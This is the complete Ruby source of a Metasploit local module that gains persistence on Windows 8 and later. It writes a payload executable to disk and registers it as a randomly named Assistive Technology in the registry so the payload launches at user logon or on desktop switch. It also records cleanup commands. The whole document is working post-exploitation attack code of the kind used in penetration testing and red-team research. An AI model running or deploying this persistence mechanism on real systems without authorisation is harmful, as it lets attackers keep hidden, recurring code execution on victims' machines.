📄 Assistive Technologies Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Post::Windows::Registry
      include Msf::Post::Windows::Priv
    
      AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs'
      STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Assistive Technologies Persistence',
            'Description' => %q{
              This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.
              Then it configures the system to launch the AT executable during user logon or desktop switch (such as with
              an admin prived program).
              Requires Windows 8 or higher and administrative privileges.
            },
            'Author' => ['h00die'],
            'Platform' => ['win'],
            'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
    
            'SessionTypes' => ['meterpreter', 'shell'],
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],
              ['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'],
              ['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx']
            ],
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2016-07-22',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
            }
          )
        )
    
        register_options([
          OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
          OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']),
          OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']),
        ])
      end
    
      def create_at(at_name, payload_path)
        target_key = "#{AT_REG_PATH}\\#{at_name}"
        at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13)))
    
        registry_createkey(target_key)
        registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ')
        registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ')
        registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD')
        registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ')
        registry_setvaldata(target_key, 'Profile', '<HCIModel><Accommodation type="mild dexterity"</HCIModel>', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile
        registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ')
        registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ')
        registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD')
      end
    
      def writable_dir
        d = super
        return session.sys.config.getenv(d) if d.start_with?('%')
    
        d
      end
    
      def check
        print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
        return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    
        version = get_version_info
        return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win8
    
        return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?
    
        CheckCode::Appears('Likely exploitable')
      end
    
      def install_persistence
        payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        temp_path = writable_dir
        payload_exe = generate_payload_exe
        payload_pathname = temp_path + '\\' + payload_name
        payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe')
    
        vprint_status("Payload pathname: #{payload_pathname}")
        fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
        at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
        vprint_status("Creating Assistive Technology #{at_name} registry entries")
        create_at(at_name, payload_pathname)
        vprint_status('Setting AT to start during login')
        current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration')
        new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip)
        new_value.append(at_name)
        registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ')
    
        print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).')
        @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"
        @clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n"
        @clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n"
      end
    end